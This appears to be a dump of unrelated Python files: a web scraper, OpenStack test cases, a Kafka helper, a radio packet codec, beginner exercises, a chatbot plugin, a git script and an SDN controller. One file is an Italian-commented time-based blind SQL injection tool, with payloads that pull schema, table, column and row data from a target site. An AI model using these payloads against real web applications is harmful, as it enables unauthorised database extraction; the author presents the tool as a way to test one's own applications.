                        line = re.sub(s, r, line)
                    elif line.count('<qco>') > 1:
                        s = r"
(.+?)<" # <-- Works, kindof
                        r = r"
<ans>\1</ans><"
                        line = re.sub(s, r, line)
                    else:
                        s = r"
(.+?)</item"
                        # s = r"
(.+?)<" # <-- Works, kindof
                        # s = r"
(.+?)<[^(a)(/a)]"
                        r = r"
<ans>\1</ans><"
                        line = re.sub(s, r, line)

                    line = line.replace('
', '')
                    line = line.replace('
', '')

                    yield line

                line = '<item>'
                line += x

            else:
                line += x
    else:
        page = raw.replace('
', '\n')
        page = page.replace('
', '\n
')
        page = page.replace(' ', ' ')
        line = '<item>'
        for x in page.splitlines():
            if len(x) == 0:
                continue

            # a new item starts
            if x.startswith('
 '):
                s = r"
(.+?)
"
                r = r"<ans>\1</ans>"
                line = re.sub(s, r, line)

                s = r"
 (.+?)"
                r = r"<dco>\1</dco>"
                line = re.sub(s, r, line)

                s = r"(.+?)"
                r = r"<qco>\1</qco>"
                line = re.sub(s, r, line)

                s = r"
(.+?)$"
                r = r"<ans>\1</ans>"
                line = re.sub(s, r, line)

                line += '</item>'

                yield line

                line = '<item>'

            line += x

def parse_item(line):
    soup = BeautifulSoup(line, 'html.parser')

    date_str = soup.find('dco')
    if date_str is None:
        return
    date_str = date_str.text

    # one broken date here: https://billwurtz.com/questions/questions-2016-05.html
    if 'apm' in date_str:
        date_str = date_str.replace('apm', 'pm ')
        with open("borken_lines.txt", "a+") as file:
            file.write(f'{line}\n')

    if date_str == '4.22.2011:07 am':
        date_str = '4.22.20 11:07 am'

    if '5.12.20' in date_str and '10:25 pm' in date_str:
        date_str = '5.12.20 10:25pm'

    date = parse(date_str)

    questions = soup.find_all('qco')
    answers = soup.find_all('ans')
    link = f'https://billwurtz.com/questions/q.php?date={date.strftime("%Y%m%d%H%M")}'
    item = {
        'd': date.isoformat(),
        'l': link,
        'q': [],
        # 'qs': len(questions),
        'h': xxhash.xxh64(line).hexdigest(),
    }
    for i in range(len(questions)):
        try:
            q = questions[i].__repr__()[6:-6].strip()
            a = answers[i].__repr__()[6:-6].strip()

            # absolutify links
            base_url = 'https://billwurtz.com/questions/'
            for l in answers[i].find_all('a'):
                absolute_link = urljoin(base_url, l.attrs['href'])
                l.attrs['href'] = absolute_link
                a = answers[i].__repr__()[6:-6].strip()

            for l in questions[i].find_all('a'):
                absolute_link = urljoin(base_url, l.attrs['href'])
                l.attrs['href'] = absolute_link
                q = questions[i].__repr__()[6:-6].strip()

            item['q'].append({
                'q': q,
                'a': a,
            })
        except:
            # print(f'ðŸ’¥\n{line}')
            with open("borken_lines.txt", "a+") as file:
                file.write(f'{line}\n')
    return item

if __name__ == '__main__':

    s = HTMLSession()

    all_items = []
    open('borken_lines.txt', 'w').close()

    for url in all_urls():
        date = extract_date_from_url(url)

        lines = list(get_lines(s, url))
        items = list(map(parse_item, lines))
        all_items.extend(items)
        all_items = list(filter(None, all_items))

        Path(f'ueqstions/json/{date}.json').write_text(json.dumps(items, indent=2, sort_keys=True, ensure_ascii=False))
        print(f'{datetime.now().isoformat()[:-7]} - ðŸ‘Œ {len(items)}/{len(all_items)} - {url}')

    Path(f'ueqstions.json').write_text(json.dumps(all_items))
    print(f'{datetime.now().isoformat()[:-7]} - ðŸ’¾ saved file to disk')

# broken from 2017-03


import uuid

from nova.compute import claims
from nova.openstack.common import log as logging
from nova import test

LOG = logging.getLogger(__name__)

class DummyTracker(object):
    icalled = False
    rcalled = False

    def abort_instance_claim(self, *args, **kwargs):
        self.icalled = True

    def abort_resize_claim(self, *args, **kwargs):
        self.rcalled = True

class ClaimTestCase(test.TestCase):

    def setUp(self):
        super(ClaimTestCase, self).setUp()
        self.resources = self._fake_resources()
        self.tracker = DummyTracker()

    def _claim(self, **kwargs):
        instance = self._fake_instance(**kwargs)
        return claims.Claim(instance, self.tracker)

    def _fake_instance(self, **kwargs):
        instance = {
            'uuid': str(uuid.uuid1()),
            'memory_mb': 1024,
            'root_gb': 10,
            'ephemeral_gb': 5,
            'vcpus': 1
        }
        instance.update(**kwargs)
        return instance

    def _fake_instance_type(self, **kwargs):
        instance_type = {
            'id': 1,
            'name': 'fakeitype',
            'memory_mb': 1,
            'vcpus': 1,
            'root_gb': 1,
            'ephemeral_gb': 2
        }
        instance_type.update(**kwargs)
        return instance_type

    def _fake_resources(self, values=None):
        resources = {
            'memory_mb': 2048,
            'memory_mb_used': 0,
            'free_ram_mb': 2048,
            'local_gb': 20,
            'local_gb_used': 0,
            'free_disk_gb': 20,
            'vcpus': 2,
            'vcpus_used': 0
        }
        if values:
            resources.update(values)
        return resources

    def test_cpu_unlimited(self):
        claim = self._claim(vcpus=100000)
        self.assertTrue(claim.test(self.resources))

    def test_memory_unlimited(self):
        claim = self._claim(memory_mb=99999999)
        self.assertTrue(claim.test(self.resources))

    def test_disk_unlimited_root(self):
        claim = self._claim(root_gb=999999)
        self.assertTrue(claim.test(self.resources))

    def test_disk_unlimited_ephemeral(self):
        claim = self._claim(ephemeral_gb=999999)
        self.assertTrue(claim.test(self.resources))

    def test_cpu_oversubscription(self):
        claim = self._claim(vcpus=8)
        limits = {'vcpu': 16}
        self.assertTrue(claim.test(self.resources, limits))

    def test_cpu_insufficient(self):
        claim = self._claim(vcpus=17)
        limits = {'vcpu': 16}
        self.assertFalse(claim.test(self.resources, limits))

    def test_memory_oversubscription(self):
        claim = self._claim(memory_mb=4096)
        limits = {'memory_mb': 8192}
        self.assertTrue(claim.test(self.resources, limits))

    def test_memory_insufficient(self):
        claim = self._claim(memory_mb=16384)
        limits = {'memory_mb': 8192}
        self.assertFalse(claim.test(self.resources, limits))

    def test_disk_oversubscription(self):
        claim = self._claim(root_gb=10, ephemeral_gb=40)
        limits = {'disk_gb': 60}
        self.assertTrue(claim.test(self.resources, limits))

    def test_disk_insufficient(self):
        claim = self._claim(root_gb=10, ephemeral_gb=40)
        limits = {'disk_gb': 45}
        self.assertFalse(claim.test(self.resources, limits))

    def test_abort(self):
        claim = self._abort()
        self.assertTrue(claim.tracker.icalled)

    def _abort(self):
        claim = None
        try:
            with self._claim(memory_mb=4096) as claim:
                raise test.TestingException("abort")
        except test.TestingException:
            pass

        return claim

class ResizeClaimTestCase(ClaimTestCase):

    def setUp(self):
        super(ResizeClaimTestCase, self).setUp()
        self.instance = self._fake_instance()

    def _claim(self, **kwargs):
        instance_type = self._fake_instance_type(**kwargs)
        return claims.ResizeClaim(self.instance, instance_type, self.tracker)

    def test_abort(self):
        claim = self._abort()
        self.assertTrue(claim.tracker.rcalled)


import logging

from bson.json_util import dumps, loads
from kafka import KafkaProducer

_producer = None

def connect_producer(servers, security_protocol="PLAINTEXT"):
    global _producer
    try:
        _producer = KafkaProducer(
            bootstrap_servers=servers,
            value_serializer=lambda v: dumps(v).encode("utf-8"),
            security_protocol=security_protocol,
        )
    except Exception as ex:
        logging.error(ex)
    finally:
        return _producer

def close_producer():
    if _producer:
        _producer.close()

def producer():
    return _producer

# Publica uma mensagem
def publish_message(topic, value, origin=""):
  prod = producer()
  try:
    prod.send(topic, value=value)
  except Exception as e:
    create_deadletter(topic, value, e, origin)

# Envia para a deadletter
def create_deadletter(topic, value, exception, origin=""):
    prod = producer()
    metadata = {"topic": topic, "raw": value, "exception": str(exception), "origin": origin}
    try:
        prod.send("dead_letter_queue", value=metadata)
    except Exception as e:
        logging.error(e)


# from .radio import Recipient, RadioTypes
import time
from loguru import logger
import sys
from .config import config

try:
    radio
    Recipient
    RadioTypes
except NameError:
    if not "modules.radio" in sys.modules:
        from modules.radio import Recipient, RadioTypes

def checksum(string): # taken from https://en.wikipedia.org/wiki/NMEA_0183
    """
    c = 0
    for i in string:
        if isinstance(i, str):
            c ^= ord(i)
        else:
            c ^= i
    return c
    """
    crc = 0xffff
    for i in range(len(string)):
        if isinstance(string, str):
            crc ^= ord(string[i]) << 8
        else:
            crc ^= string[i] << 8
        for ii in range(0, 8):
            if (crc & 0x8000) > 0:
                crc = (crc << 1) ^ 0x1021
            else:
                crc = crc << 1
    return crc & 0xffff

""" # for reference
def radio_send_packet(type_, *args, broadcast = False, recipient = None):
    # 37 is % in ascii
    if not broadcast:
        packet = bytearray((37, 37, 37, Recipient.GROUND.value, ord(":"), recipient.value, ord(";")))
    else:
        packet = bytearray((37, 37, 37, Recipient.GROUND.value, ord(":"), Recipient.BROADCAST.value, ord(";")))

    # combine args
    data = b""
    for i in args:
        if isinstance(i, str):
            data += bytes(i, "UTF-8")
        elif isinstance(i, int):
            data += i.to_bytes(2, "little")
        elif isinstance(i, float): # hopefully never use this
            data += struct.pack("f", i)
        else:
            data += i

    packet.append(type_.value)
    packet.append(ord(";"))
    packet += len(data).to_bytes(2, "little")
    packet.append(ord(";"))
    packet += data
    packet.append(ord(";"))

    packet += checksum(data).to_bytes(2, "little") + b"%%%"

    return bytes(packet)
    # radio_send_raw(packet)
    # return True

def radio_recv_packet():
    packet = radio_recv_raw()

    if not (packet.startswith(b"%%%") and packet.endswith(b"%%%")):
        logger.warning("Recieved potental false-rx")
        with open("false-rx.log", "ab") as f:
            f.write(packet + b"\n")

    # parse args

"""

class Packet():
    def __init__(self, sender = None, recipient = None, type_ = None, data = None, checksum = 0, time_ = 0):
        self.sender = sender
        self.recipient = recipient
        self.type = type_
        self.data = data
        self.checksum = checksum
        self.time = time_
        self.broadcast = True if self.recipient == Recipient.GROUND else False

    def encode(self):
        # if we havent inputted any data
        if self.sender == None or self.recipient == None or self.type == None or self.data == None:
            return False

        # 37 is % in ascii
        if not self.broadcast:
            packet = bytearray((37, 37, 37, Recipient.GROUND.value, ord(":"), self.recipient.value, ord(";")))
        else:
            packet = bytearray((37, 37, 37, Recipient.GROUND.value, ord(":"), Recipient.BROADCAST.value, ord(";")))

        packet.append(self.type.value)
        packet.append(ord(";"))
        packet += len(self.data).to_bytes(2, "little")
        packet.append(ord(";"))
        packet += self.data
        packet.append(ord(";"))

        packet += checksum(self.data).to_bytes(2, "little") + b"%%%"

        self.checksum = checksum(self.data)
        self.time = int(time.time())

        return bytes(packet)

    def decode(self, string, log_false_rx = True):
        if isinstance(string, str):
            string = string.encode()

        if not (string.startswith(b"%%%") and string.endswith(b"%%%")):
            logger.warning("Recieved potential false-rx")
            if config.log_errors:
                with open("errors.log", "ab") as f:
                    f.write(str(datetime.fromtimestamp(int(time.time()))).encode() + b" (false-rx): " + string + b"\n")
            return None

        if not self.check_format(string):
            logger.warning("Recieved bad format packet")
            if config.log_errors:
                with open("errors.log", "ab") as f:
                    f.write(str(datetime.fromtimestamp(int(time.time()))).encode() + b" (bad format): " + string + b"\n")
            return None

        if not self.check_checksum(string):
            logger.warning("Recieved bad checksum in packet")
            if config.log_errors:
                with open("errors.log", "ab") as f:
                    f.write(str(datetime.fromtimestamp(int(time.time()))).encode() + b" (bad checksum): " + string + b"\n")
            return None

        # all checks done

        self.sender = Recipient(string[3])
        self.recipient = Recipient(string[5])
        self.type = RadioTypes(string[7])
        datalength = int.from_bytes(string[9:11], "little")
        self.data = string[12:datalength + 12]
        self.checksum = checksum(self.data)
        self.time = int(time.time())

    def check_format(self, string):
        if isinstance(string, str):
            string = string.encode()

        if string[4] != ord(":"):
            return False
        if string[6] != ord(";") or string[8] != ord(";") or string[11] != ord(";"):
            return False

        return True

    def check_checksum(self, string):
        if isinstance(string, str):
            string = string.encode()

        datalength = int.from_bytes(string[9:11], "little")
        if datalength > 1024:
            return False

        data = string[12:datalength + 12]
        old_checksum = int.from_bytes(string[datalength + 13:datalength + 15], "little")

        return checksum(data) == old_checksum

def packet_encode():
    try:
        packet = Packet(Recipient.GROUND, Recipient.BROADCAST, RadioTypes.FLIGHT_TELEM, b"hi")
        packet.encode()
    except Exception as e:
        logger.debug(e)
        return False
    return True

def packet_decode():
    try:
        packet = Packet()
        packet.decode(b'%%%\x02:\x00;\x00;\x02\x00;hi;\x03b%%%')
        if packet.data != b"hi":
            return False
        if packet.sender != Recipient.GROUND:
            return False
        if packet.recipient != Recipient.BROADCAST:
            return False
        if packet.type != RadioTypes.FLIGHT_TELEM:
            return False
    except Exception as e:
        return False
    return True

def packet_checksum():
    try:
        packet = Packet()
        return packet.check_checksum(b'%%%\x02:\x00;\x00;\x02\x00;hi;\x03b%%%')
    except Exception as e:
        return False

def bad_checksum():
    try:
        packet = Packet()
        return not packet.check_checksum(b'%%%\x02:\x00;\x00;\x02\x00;hi;\x03a%%%')
    except Exception as e:
        return False

tests = {
        "Packet Encoding ": packet_encode,
        "Packet Decoding ": packet_decode,
        "Packet Checksum ": packet_checksum,
        "Bad Checksum    ": bad_checksum
}

def run_tests():
    print("Starting tests")
    failed_tests = 0
    for name, func in tests.items():
        print(name, end=": ")
        res = func()
        print("\33[42mPASS\33[0m" if res else "\33[41mFAIL\33[0m")
        if not res: failed_tests += 1
    if failed_tests:
        print(f"Failed tests: {failed_tests} / {len(tests)}")
    else:
        print("Passed all tests")


# 캬 내가 생각해도 잘 짰다.

def Average(list) :
    sum = 0
    for i in range(len(list)) :
        sum += list[i]
    average = round(sum / len(list))
    return average

def Median(list) :
    sorted_list = sorted(list)
    index = len(list) // 2
    median = sorted_list[index]
    return median

#  최빈값 구하는 것이 핵심
def Mode(list) :
    sorted_list = sorted(list)
    # 만약 10개가 입력된다면 최대 10가지의 수가 입력된다는 것
    # 나오는 빈도수를 저장할 리스트
    mode_list = [1] * len(list)
    # 빈도수에 의한 값을 가져올때 사용할 임시 리스트

    mode_index = 0
    if len(list) == 1 :
        temp_list = [sorted_list[0]]
    else :
        temp_list = [0] * len(list)
    for i in range(1, len(list)) :
        # 이 부분이 틀리긴 함
        if sorted_list[i] == sorted_list[i-1] :
            temp_list[mode_index] = sorted_list[i-1]
            mode_list[mode_index] += 1

        if sorted_list[i] != sorted_list[i-1] :
            temp_list[mode_index] = sorted_list[i-1]
            mode_index += 1
        # 마지막 수를 고려해줘야 함
        if i == len(list)-1  and sorted_list[i] != sorted_list[i-1] :
            temp_list[mode_index] = sorted_list[i]

    #print("sorted list : {}".format(sorted_list))
    #print("mode list : {}".format(mode_list))
    #print("temp list : {}".format(temp_list))
    mode = -1
    count_mode = 0
    max_mode_index = 0
    # 최빈값인 수만 들어가는 리스트
    max_mode_list = []
    for i in range(len(mode_list)) :
        if mode == mode_list[i] :
            count_mode += 1
            max_mode_list.append(temp_list[i])
        if mode < mode_list[i] :
            mode = mode_list[i]
            count_mode = 1
            max_mode_index = i
            max_mode_list = []
            max_mode_list.append(temp_list[i])
    #print("max node list : {}".format(max_mode_list))
    #print("mode : {}".format(mode))
    #print("count mode : {}".format(count_mode))
    if(count_mode == 1) :
        return temp_list[max_mode_index]
    if(count_mode > 1) :
        return max_mode_list[1]

def Range(list) :
    if len(list) == 1:
        return 0
    sorted_list = sorted(list)
    max = sorted_list[len(list) - 1]
    min = sorted_list[0]
    range = max - min
    return range

num = int(input())
list = []

# 값의 입력
for i in range(num) :
    list.append(int(input()))

print(Average(list))
print(Median(list))
print(Mode(list))
print(Range(list))


import nonebot
import openai

from nonebot import on_command
from nonebot.params import CommandArg
from nonebot.rule import to_me
from nonebot.adapters.onebot.v11 import Message, MessageSegment
from nonebot.adapters.onebot.v11 import GroupMessageEvent, PrivateMessageEvent, MessageEvent
from .config import Config, ConfigError
from .ChatSession import ChatSession

# 配置导入
plugin_config = Config.parse_obj(nonebot.get_driver().config.dict())

if plugin_config.openai_http_proxy:
    proxy = {'http': plugin_config.openai_http_proxy, 'https': plugin_config.openai_http_proxy}
else:
    proxy = ""

if not plugin_config.openai_api_key:
    raise ConfigError("请设置 openai_api_key")

api_key = plugin_config.openai_api_key
model_id = plugin_config.openai_model_name
max_limit = plugin_config.openai_max_history_limit
public = plugin_config.chatgpt_turbo_public
session = {}

# 带上下文的聊天
chat_record = on_command("chat", block=False, priority=1)

# 不带上下文的聊天
chat_request = on_command("", rule=to_me(), block=False, priority=99)

# 清除历史记录
clear_request = on_command("clear", block=True, priority=1)

# 带记忆的聊天
@chat_record.handle()
async def _(event: MessageEvent, msg: Message = CommandArg()):
    # 若未开启私聊模式则检测到私聊就结束
    if isinstance(event, PrivateMessageEvent) and not plugin_config.enable_private_chat:
        chat_record.finish("对不起，私聊暂不支持此功能。")

    # 检测是否填写 API key
    if api_key == "":
        await chat_record.finish(MessageSegment.text("请先配置openai_api_key"), at_sender=True)

    # 提取提问内容
    content = msg.extract_plain_text()
    if content == "" or content is None:
        await chat_record.finish(MessageSegment.text("内容不能为空！"), at_sender=True)

    await chat_record.send(MessageSegment.text("ChatGPT正在思考中......"))

    # 创建会话ID
    session_id = create_session_id(event)

    # 初始化保存空间
    if session_id not in session:
        session[session_id] = ChatSession(api_key=api_key, model_id=model_id, max_limit=max_limit)

    # 开始请求
    try:
        res = await session[session_id].get_response(content, proxy)

    except Exception as error:
        await chat_record.finish(str(error), at_sender=True)
    await chat_record.finish(MessageSegment.text(res), at_sender=True)

# 不带记忆的对话
@chat_request.handle()
async def _(event: MessageEvent, msg: Message = CommandArg()):

    if isinstance(event, PrivateMessageEvent) and not plugin_config.enable_private_chat:
        chat_record.finish("对不起，私聊暂不支持此功能。")

    content = msg.extract_plain_text()
    if content == "" or content is None:
        await chat_request.finish(MessageSegment.text("内容不能为空！"))

    await chat_request.send(MessageSegment.text("ChatGPT正在思考中......"))

    try:
        res = await get_response(content, proxy)

    except Exception as error:
        await chat_request.finish(str(error))
    await chat_request.finish(MessageSegment.text(res))

@clear_request.handle()
async def _(event: MessageEvent):
    del session[create_session_id(event)]
    await clear_request.finish(MessageSegment.text("成功清除历史记录！"), at_sender=True)

# 根据消息类型创建会话id
def create_session_id(event):
    if isinstance(event, PrivateMessageEvent):
        session_id = f"Private_{event.user_id}"
    elif public:
        session_id = event.get_session_id().replace(f"{event.user_id}", "Public")
    else:
        session_id = event.get_session_id()
    return session_id

# 发送请求模块
async def get_response(content, proxy):
    openai.api_key = api_key
    if proxy != "":
        openai.proxy = proxy

    res_ = await openai.ChatCompletion.acreate(
        model=model_id,
        messages=[
            {"role": "user", "content": content}
        ]
    )

    res = res_.choices[0].message.content

    while res.startswith("\n") != res.startswith("？"):
        res = res[1:]

    return res


# Question D5: WAP to calculate the average of 10 values stored in an array and display
#  all those values which are more than the calculated average.

arr = [1,2,3,4,5,6,7,8,9,10]
for val in arr:
    add = sum(arr)
    avg = add/10
print(add)
print(avg)

for i in arr:
    if(i>avg):
        print(i)


'''
    Autore: Alessandro Vettor
    Data e Ora: Mercoledì 1 Settembre 2021 21:50
'''
import requests
from time import time

class SQLi:
    def __init__(self, url='localhost', path="/", query='', method='get', characters='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_=^') -> object:
        self.characters = characters
        if url.startswith("http://") or url.startswith("https://"):
            self.url = url
        else:
            self.url = "{0}{1}{2}?{3}=".format("http://", url, path, query)
        self.method = method
        self.schema = ''
        if self.verify_url():
            self.session = requests.Session()
        else:
            print(
                "Controlla di aver inserito correttamente sia l'indirizzo sia il percorso")
            exit()

    def verify_url(self) -> bool:
        if self.method == "get":
            if requests.get(self.url).status < 300:
                return True
        else:
            if self.method == "post":
                if requests.get(self.url).status < 300:
                    return True
        return False

    def get_TableSchema(self, esclude = '') -> str:
        result = {}
        flag = True
        while flag:
            for char in self.characters:
                if char == '^':
                    flag = False
                    break
                ti = time.time()
                payload = f"' and (select sleep(0.5) from information_schema.schemata where table_schema like '{''.join(e for e in result)}{char}%')='1"
                self.queryExec(payload)
                tf = time.time()
                if (tf - ti) >= 0.5:
                    if f'{"".join(e for e in result)}{char}'[0] not in esclude:
                        result.append(char)
        if len(result) > 0:
            self.schema = "".join(e for e in result)
            return self.schema
        else:
            return "Non è stato possibile ricavare lo schema"

    def get_value(self, payload, esclude = '') -> str:
        result = {}
        flag = True
        _1, _2 = payload.split("$")
        while flag:
            for char in self.characters:
                if char == '^':
                    flag = False
                    break
                ti = time.time()
                self.queryExec(f"{_1}{''.join(e for e in result)}{char}{_2}")
                tf = time.time()
                if (tf - ti) >= 0.5:
                    if f'{"".join(e for e in result)}{char}'[0] not in esclude:
                        result.append(char)
        if len(result) > 0:
            return "".join(e for e in result)
        else:
            return "Controlla che il payload sia stato costruito correttamente"

    def queryExec(self, payload) -> None:
        if self.method == "get":
            self.session.get("{0}{1}".format(self.url, payload))
        else:
            self.session.post("{0}{1}".format(self.url, payload))

    def get_schema(self) -> str:
        return self.schema

def main():
    NUMERO_COLONNE_IN_PIU = 0
    sqli = SQLi("url", "/", "data", "get")

    '''
        Grazie alla funzione get_TableSchema possiamo ricavare lo schema delle tabelle. Di solito è
        il nome del database
    '''
    sqli.get_TableSchema("")

    '''
       Dopo aver ricavato lo schema delle tabelle possiamo ricavare il nome delle tabelle che contiene.
       Qui sotto un payload di esempio:
    '''
    # è necessario inserire il $ per indicare il posto in cui dovranno essere inseriti i caratteri da provare (massimo 1)
    payload = f"' and (select sleep(0.5){''.join(',null' for _ in range(NUMERO_COLONNE_IN_PIU))} from information_schema.tables where table_name like '$%' and table_schema='{sqli.get_schema()}')='1"
    # per evitare di ricavare più volte lo stesso valore, bisogna valorizzare il secondo parametro con i caratteri iniziali che si vogliono escludere
    print(sqli.get_value(payload, ""))
    exit()

    '''
       Dopo aver ricavato il nome della tabella possiamo ricavare il nome delle colonne che contiene.
       Qui sotto un payload di esempio:
    '''
    # valoriziamo NOME_TABELLA con la stringa ricavata dal passaggio precedente
    NOME_TABELLA = 'esempio'
    payload = f"' and (select sleep(0.5){''.join(',null' for _ in range(NUMERO_COLONNE_IN_PIU))} from information_schema.columns where column_name like '$%' and table_name='{NOME_TABELLA}')='1"
    print(sqli.get_value(payload, ""))

    #exit()

    '''
       Dopo aver ricavato il nome di una o più colonne possiamo ricavare il valore che contiene ciascuna.
       In questo caso ci tornerà la prima riga della tabella
       Qui sotto un payload di esempio:
    '''
    # valoriziamo COLONNE con le stringhe ricavate dal passaggio precedente
    COLONNE = ['colonna1', 'colonna2', 'colonna3']
    for colonna in COLONNE:
        # ovviamente possiamo modificare il payload, ad esempio aggiungere un 'and id=' in un ciclo con un range
        # che parte da 1 fino a 100
        payload = f"' and (select sleep(0.5){''.join(',null' for _ in range(NUMERO_COLONNE_IN_PIU))} from {NOME_TABELLA} where {colonna} like '$%')='1"
        print(sqli.get_value(payload, ""))

    #exit()

if __name__ == '__main__':
    main()

'''
Conclusioni:
    Il metodo utilizzato in questo tool si chiama sql time injection:
        nel caso in cui la query venisse eseguita con successo impiegherà 0.5 secondi per ritornare una risposta,
        la pausa equivale alla conferma.
    Nel caso in cui tornasse un errore di query che spiega che il numero delle colonne della seconda query
    non è uguale al numero delle colonne della prima basterà provare a indovinare cambiando il valore di NUMERO_COLONNE_IN_PIU
    es:
        NUMERO_COLONNE_IN_PIU = 2
        payload = " ... sleep(0.5),null,null ... "

    Spero possa servirvi per testare le vostre applicazioni web
'''


import sys
import re
import tempfile
import subprocess
import os

project_name = sys.argv[1]
project_root = sys.argv[2]
project_dir = sys.argv[3]

if not os.path.exists(os.path.join(project_dir, "patches")):
    os.makedirs(os.path.join(project_dir, "patches"))

flow_change_re = re.compile("^flow-changes")
conf_abs_re = re.compile("^conf-abstraction")
annotation_re = re.compile("^annotations")
update_re = re.compile("^update(?:s)?")
bug_fix_re = re.compile("^bug-fixes")

message_map = {
    "confabs": conf_abs_re,
    "update": update_re,
    "annotation": annotation_re,
    "bugfix": bug_fix_re,
    "flowchange": flow_change_re
}

def dump_diff(project_dir, sha, ty):
    with open(os.path.join(project_dir, "patches", ty + ".patch"), 'w') as out_file:
        subprocess.call(["git", "diff", "-w", sha + "^.." + sha, "--", "."], cwd = project_root, stdout = out_file)

def parse_commit(l):
    space_index = l.index(" ")
    commit_sha = l[:space_index]
    commit_message = l[space_index+1:]
    found_ty = set()
    for (ty,re) in message_map.iteritems():
        if re.match(commit_message) is None:
            continue
        dump_diff(project_dir, commit_sha, ty)

for l in sys.stdin:
    ret = parse_commit(l)


from datetime import datetime, timedelta

from ryu.base import app_manager
from ryu.controller import ofp_event
from ryu.controller.handler import CONFIG_DISPATCHER, MAIN_DISPATCHER
from ryu.controller.handler import set_ev_cls
from ryu.ofproto import ofproto_v1_3, inet
from ryu.lib.packet import packet, ipv6, ethernet, ether_types, icmpv6, tcp, udp

from controller.Engine import SyntaxAnalyser, TrustLevel, Action, AnalysisResult
from database.domain import Databases

# ###### Database Connections ###### #
from utils.ipv6_utils import generate_random_mac, generate_llu_ipv6

routing = Databases.routing
logs = Databases.logs
flows = Databases.flows
rules = Databases.rules

# ###### Analysing and Normalising Engine ###### #
syn_anal = SyntaxAnalyser()

# ================================================================================================== #
# Janus Controller is a Ryu application and therefor 'ryu.base.app_manager.Ryuapp' is its base class #
# ================================================================================================== #
class JanusController(app_manager.RyuApp):
    OFP_VERSIONS = [ofproto_v1_3.OFP_VERSION]  # Use OpenFlow 1.3.x, because most stable OFP with Ryu

    def __init__(self, *args, **kwargs):
        super(JanusController, self).__init__(*args, **kwargs)
        self.wan_port = 1  # This is the port that connects the protected network to the 'internet'
        self.temporary_mac_id = None
        self.hosts = []
        self.mac_to_port = {}
        self.ethertypes_to_discard = [
            ether_types.ETH_TYPE_ARP,
            ether_types.ETH_TYPE_IP,
            ether_types.ETH_TYPE_LLDP
        ]
        self.ndp_messages = [
            icmpv6.ND_NEIGHBOR_ADVERT,
            icmpv6.ND_ROUTER_ADVERT,
            icmpv6.ND_NEIGHBOR_SOLICIT,
            icmpv6.ND_ROUTER_SOLICIT,
            icmpv6.ND_REDIREC
        ]

        logs.clear_table()
        routing.clear_table()
        flows.clear_table()

    @set_ev_cls(ofp_event.EventOFPSwitchFeatures, CONFIG_DISPATCHER)
    def switch_features_handler(self, ev):
        """ Event called when there are configuration changes. This method will handle them. """

        datapath = ev.msg.datapath
        ofproto = datapath.ofproto
        parser = datapath.ofproto_parser

        # Install table-miss flow entry
        match = parser.OFPMatch()
        actions = [parser.OFPActionOutput(ofproto.OFPP_CONTROLLER, ofproto.OFPCML_NO_BUFFER)]
        self.add_flow(datapath, 0, match, actions)

        # Will load the 'Blacklist', which is a set of blocking rules
        self.load_blocking_rules(datapath)

        # Will send an ECHO_REQUEST as soon as it connects to ovs. This will trigger NDP NS messages from hosts
        self.ping_connected_hosts(datapath, self.wan_port)

    def ping_connected_hosts(self, datapath, wan_port):
        """
        This function will send an ICMPv6 ECHO REQUEST message to all the nodes of protected network.
        That will in turn, trigger a Neighbor Solicitation message to be received and the IPv6 destination
        address, will be the randomly generated LLU address of Janus.
        :param datapath: The datapath (represents the device used as a traffic normaliser (Janus))
        :param wan_port:  The port to send a message from. Use this as the in_port, to exclude from multicast
        """
        # Construct L2 header
        src_mac = generate_random_mac()  # Generated randomly (can be seen that it is not factory default)
        dst_mac = '33:33:ff:ff:ff:ff'  # This is a multicast L2 address
        self.temporary_mac_id = "33:33:ff" + src_mac[-9:]
        layer2 = ethernet.ethernet(dst=dst_mac, src=src_mac, ethertype=ether_types.ETH_TYPE_IPV6)

        # Construct L3 header
        ip6_dst = 'ff02::1'  # well known multicast L3 address, as defined by IANA
        ip6_src = generate_llu_ipv6(src_mac)  # IPv6 Link Local Unicast address
        layer3 = ipv6.ipv6(nxt=inet.IPPROTO_ICMPV6, src=ip6_src, dst=ip6_dst)

        # Construct l4 header
        icmpv6_type = icmpv6.ICMPV6_ECHO_REQUEST
        layer4 = icmpv6.icmpv6(type_=icmpv6_type, code=0, csum=0, data=icmpv6.echo())

        # Create packet
        pkt = packet.Packet()
        # layer 1 is automatically generated when packet.serialize() is called
        pkt.add_protocol(layer2)
        pkt.add_protocol(layer3)
        pkt.add_protocol(layer4)

        # Send packet to multicast addresses in protected network
        ofproto = datapath.ofproto
        parser = datapath.ofproto_parser
        pkt.serialize()
        data = pkt.data
        actions = [parser.OFPActionOutput(ofproto.OFPP_FLOOD)]
        out = parser.OFPPacketOut(datapath=datapath, buffer_id=ofproto.OFP_NO_BUFFER,
                                  actions=actions, data=data, in_port=wan_port)

        datapath.send_msg(out)

    @staticmethod
    def _validate_rule(**rule):

        existing_fields = rule.keys()

        layer3_fields = ['ipv6_dst', 'ipv6_src']
        layer4_fields = ['tcp_src', 'tcp_dst', 'udp_src', 'udp_dst', 'icmpv6_type', 'icmpv6_code']
        layer3_required = 'eth_type'
        layer4_required = 'ip_proto'

        # Check if there are layer 3 fields. If there are, then check if the ethertype is provided,
        # otherwise this is invalid rule. Network-Layer fields, require the ethertype in the OpenFlow protocol
        for f in layer3_fields:
            if f in existing_fields:
                if layer3_required not in existing_fields:
                    return False

        # Check if there are layer 4 fields. If there are, then check if the associated protocol code is provided,
        # otherwise this is invalid rule. Transport-Layer fields, require the Transport-Layer protocol code.
        for f in layer4_fields:
            if f in existing_fields:
                if layer4_required not in existing_fields or layer3_required not in existing_fields:
                    return False

        return True

    def block_flow(self, datapath, match, idle_timeout=0, hard_timeout=0, **record_dict):
        priority = 10
        actions = ''  # empty string means drop packet
        self.add_flow(datapath, priority, match, actions, idle_timeout, hard_timeout, **record_dict)

    def load_blocking_rules(self, datapath):
        """ The dictionary must have all required fields """
        if rules.new_ruleset_exists():
            rules_dict = rules.get_ruleset()
            rules.mark_ruleset(marking=rules.up_to_date)
        else:
            return

        parser = datapath.ofproto_parser
        ofproto = datapath.ofproto
        for rule in rules_dict['blacklist']:
            description = rule.pop('description')
            rule_action = rule.pop('action')
            if rule_action == 'drop':
                actions = ''  # no action, by default means drop packet in ryu
            else:
                actions = [parser.OFPActionOutput(ofproto.OFPP_CONTROLLER, ofproto.OFPCML_NO_BUFFER)]
            priority = rule.pop('priority')
            if self._validate_rule(**rule):
                print("Adding rule: {}".format(description))
                match = parser.OFPMatch(**rule)
                self.add_flow(datapath, priority, match, actions)
